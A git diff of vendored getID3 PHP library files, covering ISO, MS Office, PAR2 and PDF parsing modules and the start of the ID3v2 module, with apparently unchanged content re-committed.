$thisfile_iso_supplementaryVD_raw['data_preparer_identifier'] = substr($ISOheader, 446, 128); + $thisfile_iso_supplementaryVD_raw['application_identifier'] = substr($ISOheader, 574, 128); + $thisfile_iso_supplementaryVD_raw['copyright_file_identifier'] = substr($ISOheader, 702, 37); + $thisfile_iso_supplementaryVD_raw['abstract_file_identifier'] = substr($ISOheader, 739, 37); + $thisfile_iso_supplementaryVD_raw['bibliographic_file_identifier'] = substr($ISOheader, 776, 37); + $thisfile_iso_supplementaryVD_raw['volume_creation_date_time'] = substr($ISOheader, 813, 17); + $thisfile_iso_supplementaryVD_raw['volume_modification_date_time'] = substr($ISOheader, 830, 17); + $thisfile_iso_supplementaryVD_raw['volume_expiration_date_time'] = substr($ISOheader, 847, 17); + $thisfile_iso_supplementaryVD_raw['volume_effective_date_time'] = substr($ISOheader, 864, 17); + $thisfile_iso_supplementaryVD_raw['file_structure_version'] = getid3_lib::LittleEndian2Int(substr($ISOheader, 881, 1)); + //$thisfile_iso_supplementaryVD_raw['unused_4'] = getid3_lib::LittleEndian2Int(substr($ISOheader, 882, 1)); + $thisfile_iso_supplementaryVD_raw['application_data'] = substr($ISOheader, 883, 512); + //$thisfile_iso_supplementaryVD_raw['unused_5'] = substr($ISOheader, 1395, 653); + + $thisfile_iso_supplementaryVD['system_identifier'] = trim($thisfile_iso_supplementaryVD_raw['system_identifier']); + $thisfile_iso_supplementaryVD['volume_identifier'] = trim($thisfile_iso_supplementaryVD_raw['volume_identifier']); + $thisfile_iso_supplementaryVD['volume_set_identifier'] = trim($thisfile_iso_supplementaryVD_raw['volume_set_identifier']); + $thisfile_iso_supplementaryVD['publisher_identifier'] = trim($thisfile_iso_supplementaryVD_raw['publisher_identifier']); + $thisfile_iso_supplementaryVD['data_preparer_identifier'] = trim($thisfile_iso_supplementaryVD_raw['data_preparer_identifier']); + $thisfile_iso_supplementaryVD['application_identifier'] = trim($thisfile_iso_supplementaryVD_raw['application_identifier']); + $thisfile_iso_supplementaryVD['copyright_file_identifier'] = trim($thisfile_iso_supplementaryVD_raw['copyright_file_identifier']); + $thisfile_iso_supplementaryVD['abstract_file_identifier'] = trim($thisfile_iso_supplementaryVD_raw['abstract_file_identifier']); + $thisfile_iso_supplementaryVD['bibliographic_file_identifier'] = trim($thisfile_iso_supplementaryVD_raw['bibliographic_file_identifier']); + $thisfile_iso_supplementaryVD['volume_creation_date_time'] = $this->ISOtimeText2UNIXtime($thisfile_iso_supplementaryVD_raw['volume_creation_date_time']); + $thisfile_iso_supplementaryVD['volume_modification_date_time'] = $this->ISOtimeText2UNIXtime($thisfile_iso_supplementaryVD_raw['volume_modification_date_time']); + $thisfile_iso_supplementaryVD['volume_expiration_date_time'] = $this->ISOtimeText2UNIXtime($thisfile_iso_supplementaryVD_raw['volume_expiration_date_time']); + $thisfile_iso_supplementaryVD['volume_effective_date_time'] = $this->ISOtimeText2UNIXtime($thisfile_iso_supplementaryVD_raw['volume_effective_date_time']); + + if (($thisfile_iso_supplementaryVD_raw['volume_space_size'] * $thisfile_iso_supplementaryVD_raw['logical_block_size']) > $info['filesize']) { + $this->error('Volume Space Size ('.($thisfile_iso_supplementaryVD_raw['volume_space_size'] * $thisfile_iso_supplementaryVD_raw['logical_block_size']).' bytes) is larger than the file size ('.$info['filesize'].' bytes) (truncated file?)'); + } + + return true; + } + + /** + * @return bool + */ + public function ParsePathTable() { + $info = &$this->getid3->info; + if (!isset($info['iso']['supplementary_volume_descriptor']['raw']['path_table_l_location']) && !isset($info['iso']['primary_volume_descriptor']['raw']['path_table_l_location'])) { + return false; + } + if (isset($info['iso']['supplementary_volume_descriptor']['raw']['path_table_l_location'])) { + $PathTableLocation = $info['iso']['supplementary_volume_descriptor']['raw']['path_table_l_location']; + $PathTableSize = $info['iso']['supplementary_volume_descriptor']['raw']['path_table_size']; + $TextEncoding = 'UTF-16BE'; // Big-Endian Unicode + } else { + $PathTableLocation = $info['iso']['primary_volume_descriptor']['raw']['path_table_l_location']; + $PathTableSize = $info['iso']['primary_volume_descriptor']['raw']['path_table_size']; + $TextEncoding = 'ISO-8859-1'; // Latin-1 + } + + if (($PathTableLocation * 2048) > $info['filesize']) { + $this->error('Path Table Location specifies an offset ('.($PathTableLocation * 2048).') beyond the end-of-file ('.$info['filesize'].')'); + return false; + } + + $info['iso']['path_table']['offset'] = $PathTableLocation * 2048; + $this->fseek($info['iso']['path_table']['offset']); + $info['iso']['path_table']['raw'] = $this->fread($PathTableSize); + + $offset = 0; + $pathcounter = 1; + $FullPathArray = array(); + while ($offset < $PathTableSize) { + // shortcut + $info['iso']['path_table']['directories'][$pathcounter] = array(); + $thisfile_iso_pathtable_directories_current = &$info['iso']['path_table']['directories'][$pathcounter]; + + $thisfile_iso_pathtable_directories_current['length'] = getid3_lib::LittleEndian2Int(substr($info['iso']['path_table']['raw'], $offset, 1)); + $offset += 1; + $thisfile_iso_pathtable_directories_current['extended_length'] = getid3_lib::LittleEndian2Int(substr($info['iso']['path_table']['raw'], $offset, 1)); + $offset += 1; + $thisfile_iso_pathtable_directories_current['location_logical'] = getid3_lib::LittleEndian2Int(substr($info['iso']['path_table']['raw'], $offset, 4)); + $offset += 4; + $thisfile_iso_pathtable_directories_current['parent_directory'] = getid3_lib::LittleEndian2Int(substr($info['iso']['path_table']['raw'], $offset, 2)); + $offset += 2; + $thisfile_iso_pathtable_directories_current['name'] = substr($info['iso']['path_table']['raw'], $offset, $thisfile_iso_pathtable_directories_current['length']); + $offset += $thisfile_iso_pathtable_directories_current['length'] + ($thisfile_iso_pathtable_directories_current['length'] % 2); + + $thisfile_iso_pathtable_directories_current['name_ascii'] = getid3_lib::iconv_fallback($TextEncoding, $info['encoding'], $thisfile_iso_pathtable_directories_current['name']); + + $thisfile_iso_pathtable_directories_current['location_bytes'] = $thisfile_iso_pathtable_directories_current['location_logical'] * 2048; + if ($pathcounter == 1) { + $thisfile_iso_pathtable_directories_current['full_path'] = '/'; + } else { + $thisfile_iso_pathtable_directories_current['full_path'] = $info['iso']['path_table']['directories'][$thisfile_iso_pathtable_directories_current['parent_directory']]['full_path'].$thisfile_iso_pathtable_directories_current['name_ascii'].'/'; + } + $FullPathArray[] = $thisfile_iso_pathtable_directories_current['full_path']; + + $pathcounter++; + } + + return true; + } + + /** + * @param array $directorydata + * + * @return array + */ + public function ParseDirectoryRecord($directorydata) { + $info = &$this->getid3->info; + if (isset($info['iso']['supplementary_volume_descriptor'])) { + $TextEncoding = 'UTF-16BE'; // Big-Endian Unicode + } else { + $TextEncoding = 'ISO-8859-1'; // Latin-1 + } + + $this->fseek($directorydata['location_bytes']); + $DirectoryRecordData = $this->fread(1); + $DirectoryRecord = array(); + + while (ord($DirectoryRecordData[0]) > 33) { + + $DirectoryRecordData .= $this->fread(ord($DirectoryRecordData[0]) - 1); + + $ThisDirectoryRecord = array(); + + $ThisDirectoryRecord['raw']['length'] = getid3_lib::LittleEndian2Int(substr($DirectoryRecordData, 0, 1)); + $ThisDirectoryRecord['raw']['extended_attribute_length'] = getid3_lib::LittleEndian2Int(substr($DirectoryRecordData, 1, 1)); + $ThisDirectoryRecord['raw']['offset_logical'] = getid3_lib::LittleEndian2Int(substr($DirectoryRecordData, 2, 4)); + $ThisDirectoryRecord['raw']['filesize'] = getid3_lib::LittleEndian2Int(substr($DirectoryRecordData, 10, 4)); + $ThisDirectoryRecord['raw']['recording_date_time'] = substr($DirectoryRecordData, 18, 7); + $ThisDirectoryRecord['raw']['file_flags'] = getid3_lib::LittleEndian2Int(substr($DirectoryRecordData, 25, 1)); + $ThisDirectoryRecord['raw']['file_unit_size'] = getid3_lib::LittleEndian2Int(substr($DirectoryRecordData, 26, 1)); + $ThisDirectoryRecord['raw']['interleave_gap_size'] = getid3_lib::LittleEndian2Int(substr($DirectoryRecordData, 27, 1)); + $ThisDirectoryRecord['raw']['volume_sequence_number'] = getid3_lib::LittleEndian2Int(substr($DirectoryRecordData, 28, 2)); + $ThisDirectoryRecord['raw']['file_identifier_length'] = getid3_lib::LittleEndian2Int(substr($DirectoryRecordData, 32, 1)); + $ThisDirectoryRecord['raw']['file_identifier'] = substr($DirectoryRecordData, 33, $ThisDirectoryRecord['raw']['file_identifier_length']); + + $ThisDirectoryRecord['file_identifier_ascii'] = getid3_lib::iconv_fallback($TextEncoding, $info['encoding'], $ThisDirectoryRecord['raw']['file_identifier']); + + $ThisDirectoryRecord['filesize'] = $ThisDirectoryRecord['raw']['filesize']; + $ThisDirectoryRecord['offset_bytes'] = $ThisDirectoryRecord['raw']['offset_logical'] * 2048; + $ThisDirectoryRecord['file_flags']['hidden'] = (bool) ($ThisDirectoryRecord['raw']['file_flags'] & 0x01); + $ThisDirectoryRecord['file_flags']['directory'] = (bool) ($ThisDirectoryRecord['raw']['file_flags'] & 0x02); + $ThisDirectoryRecord['file_flags']['associated'] = (bool) ($ThisDirectoryRecord['raw']['file_flags'] & 0x04); + $ThisDirectoryRecord['file_flags']['extended'] = (bool) ($ThisDirectoryRecord['raw']['file_flags'] & 0x08); + $ThisDirectoryRecord['file_flags']['permissions'] = (bool) ($ThisDirectoryRecord['raw']['file_flags'] & 0x10); + $ThisDirectoryRecord['file_flags']['multiple'] = (bool) ($ThisDirectoryRecord['raw']['file_flags'] & 0x80); + $ThisDirectoryRecord['recording_timestamp'] = $this->ISOtime2UNIXtime($ThisDirectoryRecord['raw']['recording_date_time']); + + if ($ThisDirectoryRecord['file_flags']['directory']) { + $ThisDirectoryRecord['filename'] = $directorydata['full_path']; + } else { + $ThisDirectoryRecord['filename'] = $directorydata['full_path'].$this->ISOstripFilenameVersion($ThisDirectoryRecord['file_identifier_ascii']); + $info['iso']['files'] = getid3_lib::array_merge_clobber($info['iso']['files'], getid3_lib::CreateDeepArray($ThisDirectoryRecord['filename'], '/', $ThisDirectoryRecord['filesize'])); + } + + $DirectoryRecord[] = $ThisDirectoryRecord; + $DirectoryRecordData = $this->fread(1); + } + + return $DirectoryRecord; + } + + /** + * @param string $ISOfilename + * + * @return string + */ + public function ISOstripFilenameVersion($ISOfilename) { + // convert 'filename.ext;1' to 'filename.ext' + if (!strstr($ISOfilename, ';')) { + return $ISOfilename; + } else { + return substr($ISOfilename, 0, strpos($ISOfilename, ';')); + } + } + + /** + * @param string $ISOtime + * + * @return int|false + */ + public function ISOtimeText2UNIXtime($ISOtime) { + + $UNIXyear = (int) substr($ISOtime, 0, 4); + $UNIXmonth = (int) substr($ISOtime, 4, 2); + $UNIXday = (int) substr($ISOtime, 6, 2); + $UNIXhour = (int) substr($ISOtime, 8, 2); + $UNIXminute = (int) substr($ISOtime, 10, 2); + $UNIXsecond = (int) substr($ISOtime, 12, 2); + + if (!$UNIXyear) { + return false; + } + return gmmktime($UNIXhour, $UNIXminute, $UNIXsecond, $UNIXmonth, $UNIXday, $UNIXyear); + } + + /** + * @param string $ISOtime + * + * @return int + */ + public function ISOtime2UNIXtime($ISOtime) { + // Represented by seven bytes: + // 1: Number of years since 1900 + // 2: Month of the year from 1 to 12 + // 3: Day of the Month from 1 to 31 + // 4: Hour of the day from 0 to 23 + // 5: Minute of the hour from 0 to 59 + // 6: second of the minute from 0 to 59 + // 7: Offset from Greenwich Mean Time in number of 15 minute intervals from -48 (West) to +52 (East) + + $UNIXyear = ord($ISOtime[0]) + 1900; + $UNIXmonth = ord($ISOtime[1]); + $UNIXday = ord($ISOtime[2]); + $UNIXhour = ord($ISOtime[3]); + $UNIXminute = ord($ISOtime[4]); + $UNIXsecond = ord($ISOtime[5]); + $GMToffset = $this->TwosCompliment2Decimal(ord($ISOtime[5])); + + return gmmktime($UNIXhour, $UNIXminute, $UNIXsecond, $UNIXmonth, $UNIXday, $UNIXyear); + } + + /** + * @param int $BinaryValue + * + * @return int + */ + public function TwosCompliment2Decimal($BinaryValue) { + // http://sandbox.mc.edu/~bennet/cs110/tc/tctod.html + // First check if the number is negative or positive by looking at the sign bit. + // If it is positive, simply convert it to decimal. + // If it is negative, make it positive by inverting the bits and adding one. + // Then, convert the result to decimal. + // The negative of this number is the value of the original binary. + + if ($BinaryValue & 0x80) { + + // negative number + return (0 - ((~$BinaryValue & 0xFF) + 1)); + } else { + // positive number + return $BinaryValue; + } + } + + +} diff --git a/vendor/james-heinrich/getid3/getid3/module.misc.msoffice.php b/vendor/james-heinrich/getid3/getid3/module.misc.msoffice.php index 8a31a5ae18..56d07f0e7c 100644 --- a/vendor/james-heinrich/getid3/getid3/module.misc.msoffice.php +++ b/vendor/james-heinrich/getid3/getid3/module.misc.msoffice.php @@ -1,43 +1,43 @@ - // -// available at https://github.com/JamesHeinrich/getID3 // -// or https://www.getid3.org // -// or http://getid3.sourceforge.net // -// see readme.txt for more details // -///////////////////////////////////////////////////////////////// -// // -// module.misc.msoffice.php // -// module for analyzing MS Office (.doc, .xls, etc) files // -// dependencies: NONE // -// /// -///////////////////////////////////////////////////////////////// - -if (!defined('GETID3_INCLUDEPATH')) { // prevent path-exposing attacks that access modules directly on public webservers - exit; -} - -class getid3_msoffice extends getid3_handler -{ - /** - * @return bool - */ - public function Analyze() { - $info = &$this->getid3->info; - - $this->fseek($info['avdataoffset']); - $DOCFILEheader = $this->fread(8); - $magic = "\xD0\xCF\x11\xE0\xA1\xB1\x1A\xE1"; - if (substr($DOCFILEheader, 0, 8) != $magic) { - $this->error('Expecting "'.getid3_lib::PrintHexBytes($magic).'" at '.$info['avdataoffset'].', found '.getid3_lib::PrintHexBytes(substr($DOCFILEheader, 0, 8)).' instead.'); - return false; - } - $info['fileformat'] = 'msoffice'; - - $this->error('MS Office (.doc, .xls, etc) parsing not enabled in this version of getID3() ['.$this->getid3->version().']'); - return false; - - } - -} + // +// available at https://github.com/JamesHeinrich/getID3 // +// or https://www.getid3.org // +// or http://getid3.sourceforge.net // +// see readme.txt for more details // +///////////////////////////////////////////////////////////////// +// // +// module.misc.msoffice.php // +// module for analyzing MS Office (.doc, .xls, etc) files // +// dependencies: NONE // +// /// +///////////////////////////////////////////////////////////////// + +if (!defined('GETID3_INCLUDEPATH')) { // prevent path-exposing attacks that access modules directly on public webservers + exit; +} + +class getid3_msoffice extends getid3_handler +{ + /** + * @return bool + */ + public function Analyze() { + $info = &$this->getid3->info; + + $this->fseek($info['avdataoffset']); + $DOCFILEheader = $this->fread(8); + $magic = "\xD0\xCF\x11\xE0\xA1\xB1\x1A\xE1"; + if (substr($DOCFILEheader, 0, 8) != $magic) { + $this->error('Expecting "'.getid3_lib::PrintHexBytes($magic).'" at '.$info['avdataoffset'].', found '.getid3_lib::PrintHexBytes(substr($DOCFILEheader, 0, 8)).' instead.'); + return false; + } + $info['fileformat'] = 'msoffice'; + + $this->error('MS Office (.doc, .xls, etc) parsing not enabled in this version of getID3() ['.$this->getid3->version().']'); + return false; + + } + +} diff --git a/vendor/james-heinrich/getid3/getid3/module.misc.par2.php b/vendor/james-heinrich/getid3/getid3/module.misc.par2.php index 6912a2fce2..b6c493ba0b 100644 --- a/vendor/james-heinrich/getid3/getid3/module.misc.par2.php +++ b/vendor/james-heinrich/getid3/getid3/module.misc.par2.php @@ -1,36 +1,36 @@ - // -// available at https://github.com/JamesHeinrich/getID3 // -// or https://www.getid3.org // -// or http://getid3.sourceforge.net // -// see readme.txt for more details // -///////////////////////////////////////////////////////////////// -// // -// module.misc.par2.php // -// module for analyzing PAR2 files // -// dependencies: NONE // -// /// -///////////////////////////////////////////////////////////////// - -if (!defined('GETID3_INCLUDEPATH')) { // prevent path-exposing attacks that access modules directly on public webservers - exit; -} - -class getid3_par2 extends getid3_handler -{ - /** - * @return bool - */ - public function Analyze() { - $info = &$this->getid3->info; - - $info['fileformat'] = 'par2'; - - $this->error('PAR2 parsing not enabled in this version of getID3()'); - return false; - - } - -} + // +// available at https://github.com/JamesHeinrich/getID3 // +// or https://www.getid3.org // +// or http://getid3.sourceforge.net // +// see readme.txt for more details // +///////////////////////////////////////////////////////////////// +// // +// module.misc.par2.php // +// module for analyzing PAR2 files // +// dependencies: NONE // +// /// +///////////////////////////////////////////////////////////////// + +if (!defined('GETID3_INCLUDEPATH')) { // prevent path-exposing attacks that access modules directly on public webservers + exit; +} + +class getid3_par2 extends getid3_handler +{ + /** + * @return bool + */ + public function Analyze() { + $info = &$this->getid3->info; + + $info['fileformat'] = 'par2'; + + $this->error('PAR2 parsing not enabled in this version of getID3()'); + return false; + + } + +} diff --git a/vendor/james-heinrich/getid3/getid3/module.misc.pdf.php b/vendor/james-heinrich/getid3/getid3/module.misc.pdf.php index 3f1dbb68fe..975fe3dfb4 100644 --- a/vendor/james-heinrich/getid3/getid3/module.misc.pdf.php +++ b/vendor/james-heinrich/getid3/getid3/module.misc.pdf.php @@ -1,158 +1,158 @@ - // -// available at https://github.com/JamesHeinrich/getID3 // -// or https://www.getid3.org // -// or http://getid3.sourceforge.net // -// see readme.txt for more details // -///////////////////////////////////////////////////////////////// -// // -// module.misc.pdf.php // -// module for analyzing PDF files // -// dependencies: NONE // -// /// -///////////////////////////////////////////////////////////////// - -if (!defined('GETID3_INCLUDEPATH')) { // prevent path-exposing attacks that access modules directly on public webservers - exit; -} - -class getid3_pdf extends getid3_handler -{ - /** misc.pdf - * return full details of PDF Cross-Reference Table (XREF) - * - * @var bool - */ - public $returnXREF = false; - - /** - * @return bool - */ - public function Analyze() { - $info = &$this->getid3->info; - $this->fseek(0); - if (preg_match('#^%PDF-([0-9\\.]+)$#', rtrim($this->fgets()), $matches)) { - $info['pdf']['header']['version'] = floatval($matches[1]); - $info['fileformat'] = 'pdf'; - - // the PDF Cross-Reference Table (XREF) is located near the end of the file - // the starting offset is specified in the penultimate section, on the two lines just before "%%EOF" - // the first line is "startxref", the second line is the byte offset of the XREF. - // We know the length of "%%EOF" and "startxref", but the offset could be 2-10 bytes, - // and we're not sure if the line ends are one or two bytes, so we might find "startxref" as little as 18(?) bytes - // from EOF, but it could 30 bytes, so we start 40 bytes back just to be safe and do a search for the data we want. - $this->fseek(-40, SEEK_END); - if (preg_match('#[\r\n]startxref[ \r\n]+([0-9]+)[ \r\n]+#', $this->fread(40), $matches)) { - $info['pdf']['trailer']['startxref'] = intval($matches[1]); - $this->parseXREF($info['pdf']['trailer']['startxref']); - if (!empty($info['pdf']['xref']['offset'])) { - while (!$this->feof() && (max(array_keys($info['pdf']['xref']['offset'])) > $info['pdf']['xref']['count'])) { - // suspect that there may be another XREF entry somewhere in the file, brute-force scan for it - /* - // starting at last known entry of main XREF table - $this->fseek(max($info['pdf']['xref']['offset'])); - */ - // starting at the beginning of the file - $this->fseek(0); - while (!$this->feof()) { - $XREFoffset = $this->ftell(); - if (rtrim($this->fgets()) == 'xref') { - if (empty($info['pdf']['xref']['xref_offsets']) || !in_array($XREFoffset, $info['pdf']['xref']['xref_offsets'])) { - $this->parseXREF($XREFoffset); - break; - } - } - } - } - - asort($info['pdf']['xref']['offset']); - $maxObjLengths = array(); - $prevOffset = 0; - $prevObjNum = 0; - foreach ($info['pdf']['xref']['offset'] as $objectNumber => $offset) { - // walk through all listed offsets to calculate the maximum possible length for each known object - if ($prevObjNum) { - $maxObjLengths[$prevObjNum] = $offset - $prevOffset; - } - $prevOffset = $offset; - $prevObjNum = $objectNumber; - } - ksort($maxObjLengths); - foreach ($info['pdf']['xref']['offset'] as $objectNumber => $offset) { - if ($info['pdf']['xref']['entry'][$objectNumber] == 'f') { - // "free" object means "deleted", ignore - continue; - } - if (($maxObjLengths[$objectNumber] > 0) && ($maxObjLengths[$objectNumber] < $this->getid3->option_fread_buffer_size)) { - // ignore object that are zero-size or >32kB, they are unlikely to contain information we're interested in - $this->fseek($offset); - $objBlob = $this->fread($maxObjLengths[$objectNumber]); - if (preg_match('#^'.$objectNumber.'[\\x00 \\r\\n\\t]*([0-9]+)[\\x00 \\r\\n\\t]*obj[\\x00 \\r\\n\\t]*(.*)(endobj)?[\\x00 \\r\\n\\t]*$#s', $objBlob, $matches)) { - list($dummy, $generation, $objectData) = $matches; - if (preg_match('#^<<[\r\n\s]*(/Type|/Pages|/Parent [0-9]+ [0-9]+ [A-Z]|/Count [0-9]+|/Kids *\\[[0-9A-Z ]+\\]|[\r\n\s])+[\r\n\s]*>>#', $objectData, $matches)) { - if (preg_match('#/Count ([0-9]+)#', $objectData, $matches)) { - $info['pdf']['pages'] = (int) $matches[1]; - break; // for now this is the only data we're looking for in the PDF not need to loop through every object in the file (and a large PDF may contain MANY objects). And it MAY be possible that there are other objects elsewhere in the file that define additional (or removed?) pages - } - } - } else { - $this->error('Unexpected structure "'.substr($objBlob, 0, 100).'" at offset '.$offset); - break; - } - } - } - if (!$this->returnXREF) { - unset($info['pdf']['xref']['offset'], $info['pdf']['xref']['generation'], $info['pdf']['xref']['entry'], $info['pdf']['xref']['xref_offsets']); - } - - } else { - $this->error('Did not find "xref" at offset '.$info['pdf']['trailer']['startxref']); - } - } else { - $this->error('Did not find "startxref" in the last 40 bytes of the PDF'); - } - - $this->warning('PDF parsing incomplete in this version of getID3() ['.$this->getid3->version().']'); - return true; - } - $this->error('Did not find "%PDF" at the beginning of the PDF'); - return false; - - } - - /** - * @return bool - */ - private function parseXREF($XREFoffset) { - $info = &$this->getid3->info; - - $this->fseek($XREFoffset); - if (rtrim($this->fgets()) == 'xref') { - - $info['pdf']['xref']['xref_offsets'][$XREFoffset] = $XREFoffset; - list($firstObjectNumber, $XREFcount) = explode(' ', rtrim($this->fgets())); - $firstObjectNumber = (int) $firstObjectNumber; - $XREFcount = (int) $XREFcount; - $info['pdf']['xref']['count'] = $XREFcount + (!empty($info['pdf']['xref']['count']) ? $info['pdf']['xref']['count'] : 0); - for ($i = 0; $i < $XREFcount; $i++) { - $line = rtrim($this->fgets()); - if (preg_match('#^([0-9]+) ([0-9]+) ([nf])$#', $line, $matches)) { - $info['pdf']['xref']['offset'][($firstObjectNumber + $i)] = (int) $matches[1]; - $info['pdf']['xref']['generation'][($firstObjectNumber + $i)] = (int) $matches[2]; - $info['pdf']['xref']['entry'][($firstObjectNumber + $i)] = $matches[3]; - } else { - $this->error('failed to parse XREF entry #'.$i.' in XREF table at offset '.$XREFoffset); - return false; - } - } - sort($info['pdf']['xref']['xref_offsets']); - return true; - - } - $this->warning('failed to find expected XREF structure at offset '.$XREFoffset); - return false; - } - -} + // +// available at https://github.com/JamesHeinrich/getID3 // +// or https://www.getid3.org // +// or http://getid3.sourceforge.net // +// see readme.txt for more details // +///////////////////////////////////////////////////////////////// +// // +// module.misc.pdf.php // +// module for analyzing PDF files // +// dependencies: NONE // +// /// +///////////////////////////////////////////////////////////////// + +if (!defined('GETID3_INCLUDEPATH')) { // prevent path-exposing attacks that access modules directly on public webservers + exit; +} + +class getid3_pdf extends getid3_handler +{ + /** misc.pdf + * return full details of PDF Cross-Reference Table (XREF) + * + * @var bool + */ + public $returnXREF = false; + + /** + * @return bool + */ + public function Analyze() { + $info = &$this->getid3->info; + $this->fseek(0); + if (preg_match('#^%PDF-([0-9\\.]+)$#', rtrim($this->fgets()), $matches)) { + $info['pdf']['header']['version'] = floatval($matches[1]); + $info['fileformat'] = 'pdf'; + + // the PDF Cross-Reference Table (XREF) is located near the end of the file + // the starting offset is specified in the penultimate section, on the two lines just before "%%EOF" + // the first line is "startxref", the second line is the byte offset of the XREF. + // We know the length of "%%EOF" and "startxref", but the offset could be 2-10 bytes, + // and we're not sure if the line ends are one or two bytes, so we might find "startxref" as little as 18(?) bytes + // from EOF, but it could 30 bytes, so we start 40 bytes back just to be safe and do a search for the data we want. + $this->fseek(-40, SEEK_END); + if (preg_match('#[\r\n]startxref[ \r\n]+([0-9]+)[ \r\n]+#', $this->fread(40), $matches)) { + $info['pdf']['trailer']['startxref'] = intval($matches[1]); + $this->parseXREF($info['pdf']['trailer']['startxref']); + if (!empty($info['pdf']['xref']['offset'])) { + while (!$this->feof() && (max(array_keys($info['pdf']['xref']['offset'])) > $info['pdf']['xref']['count'])) { + // suspect that there may be another XREF entry somewhere in the file, brute-force scan for it + /* + // starting at last known entry of main XREF table + $this->fseek(max($info['pdf']['xref']['offset'])); + */ + // starting at the beginning of the file + $this->fseek(0); + while (!$this->feof()) { + $XREFoffset = $this->ftell(); + if (rtrim($this->fgets()) == 'xref') { + if (empty($info['pdf']['xref']['xref_offsets']) || !in_array($XREFoffset, $info['pdf']['xref']['xref_offsets'])) { + $this->parseXREF($XREFoffset); + break; + } + } + } + } + + asort($info['pdf']['xref']['offset']); + $maxObjLengths = array(); + $prevOffset = 0; + $prevObjNum = 0; + foreach ($info['pdf']['xref']['offset'] as $objectNumber => $offset) { + // walk through all listed offsets to calculate the maximum possible length for each known object + if ($prevObjNum) { + $maxObjLengths[$prevObjNum] = $offset - $prevOffset; + } + $prevOffset = $offset; + $prevObjNum = $objectNumber; + } + ksort($maxObjLengths); + foreach ($info['pdf']['xref']['offset'] as $objectNumber => $offset) { + if ($info['pdf']['xref']['entry'][$objectNumber] == 'f') { + // "free" object means "deleted", ignore + continue; + } + if (($maxObjLengths[$objectNumber] > 0) && ($maxObjLengths[$objectNumber] < $this->getid3->option_fread_buffer_size)) { + // ignore object that are zero-size or >32kB, they are unlikely to contain information we're interested in + $this->fseek($offset); + $objBlob = $this->fread($maxObjLengths[$objectNumber]); + if (preg_match('#^'.$objectNumber.'[\\x00 \\r\\n\\t]*([0-9]+)[\\x00 \\r\\n\\t]*obj[\\x00 \\r\\n\\t]*(.*)(endobj)?[\\x00 \\r\\n\\t]*$#s', $objBlob, $matches)) { + list($dummy, $generation, $objectData) = $matches; + if (preg_match('#^<<[\r\n\s]*(/Type|/Pages|/Parent [0-9]+ [0-9]+ [A-Z]|/Count [0-9]+|/Kids *\\[[0-9A-Z ]+\\]|[\r\n\s])+[\r\n\s]*>>#', $objectData, $matches)) { + if (preg_match('#/Count ([0-9]+)#', $objectData, $matches)) { + $info['pdf']['pages'] = (int) $matches[1]; + break; // for now this is the only data we're looking for in the PDF not need to loop through every object in the file (and a large PDF may contain MANY objects). And it MAY be possible that there are other objects elsewhere in the file that define additional (or removed?) pages + } + } + } else { + $this->error('Unexpected structure "'.substr($objBlob, 0, 100).'" at offset '.$offset); + break; + } + } + } + if (!$this->returnXREF) { + unset($info['pdf']['xref']['offset'], $info['pdf']['xref']['generation'], $info['pdf']['xref']['entry'], $info['pdf']['xref']['xref_offsets']); + } + + } else { + $this->error('Did not find "xref" at offset '.$info['pdf']['trailer']['startxref']); + } + } else { + $this->error('Did not find "startxref" in the last 40 bytes of the PDF'); + } + + $this->warning('PDF parsing incomplete in this version of getID3() ['.$this->getid3->version().']'); + return true; + } + $this->error('Did not find "%PDF" at the beginning of the PDF'); + return false; + + } + + /** + * @return bool + */ + private function parseXREF($XREFoffset) { + $info = &$this->getid3->info; + + $this->fseek($XREFoffset); + if (rtrim($this->fgets()) == 'xref') { + + $info['pdf']['xref']['xref_offsets'][$XREFoffset] = $XREFoffset; + list($firstObjectNumber, $XREFcount) = explode(' ', rtrim($this->fgets())); + $firstObjectNumber = (int) $firstObjectNumber; + $XREFcount = (int) $XREFcount; + $info['pdf']['xref']['count'] = $XREFcount + (!empty($info['pdf']['xref']['count']) ? $info['pdf']['xref']['count'] : 0); + for ($i = 0; $i < $XREFcount; $i++) { + $line = rtrim($this->fgets()); + if (preg_match('#^([0-9]+) ([0-9]+) ([nf])$#', $line, $matches)) { + $info['pdf']['xref']['offset'][($firstObjectNumber + $i)] = (int) $matches[1]; + $info['pdf']['xref']['generation'][($firstObjectNumber + $i)] = (int) $matches[2]; + $info['pdf']['xref']['entry'][($firstObjectNumber + $i)] = $matches[3]; + } else { + $this->error('failed to parse XREF entry #'.$i.' in XREF table at offset '.$XREFoffset); + return false; + } + } + sort($info['pdf']['xref']['xref_offsets']); + return true; + + } + $this->warning('failed to find expected XREF structure at offset '.$XREFoffset); + return false; + } + +} diff --git a/vendor/james-heinrich/getid3/getid3/module.tag.id3v2.php b/vendor/james-heinrich/getid3/getid3/module.tag.id3v2.php index cf488e4a8e..99e56a5fdb 100644 --- a/vendor/james-heinrich/getid3/getid3/module.tag.id3v2.php +++ b/vendor/james-heinrich/getid3/getid3/module.tag.id3v2.php @@ -1,3903 +1,3903 @@ - // -// available at https://github.com/JamesHeinrich/getID3 // -// or https://www.getid3.org // -// or http://getid3.sourceforge.net // -// see readme.txt for more details // -///////////////////////////////////////////////////////////////// -/// // -// module.tag.id3v2.php // -// module for analyzing ID3v2 tags // -// dependencies: module.tag.id3v1.php // -// /// -///////////////////////////////////////////////////////////////// - -if (!defined('GETID3_INCLUDEPATH')) { // prevent path-exposing attacks that access modules directly on public webservers - exit; -} -getid3_lib::IncludeDependency(GETID3_INCLUDEPATH.'module.tag.id3v1.php', __FILE__, true); - -class getid3_id3v2 extends getid3_handler -{ - public $StartingOffset = 0; - - /** - * @return bool - */ - public function Analyze() { - $info = &$this->getid3->info; - - // Overall tag structure: - // +-----------------------------+ - // | Header (10 bytes) | - // +-----------------------------+ - // | Extended Header | - // | (variable length, OPTIONAL) | - // +-----------------------------+ - // | Frames (variable length) | - // +-----------------------------+ - // | Padding | - // | (variable length, OPTIONAL) | - // +-----------------------------+ - // | Footer (10 bytes, OPTIONAL) | - // +-----------------------------+ - - // Header - // ID3v2/file identifier "ID3" - // ID3v2 version $04 00 - // ID3v2 flags (%ab000000 in v2.2, %abc00000 in v2.3, %abcd0000 in v2.4.x) - // ID3v2 size 4 * %0xxxxxxx - - - // shortcuts - $info['id3v2']['header'] = true; - $thisfile_id3v2 = &$info['id3v2']; - $thisfile_id3v2['flags'] = array(); - $thisfile_id3v2_flags = &$thisfile_id3v2['flags']; - - - $this->fseek($this->StartingOffset); - $header = $this->fread(10); - if (substr($header, 0, 3) == 'ID3' && strlen($header) == 10) { - - 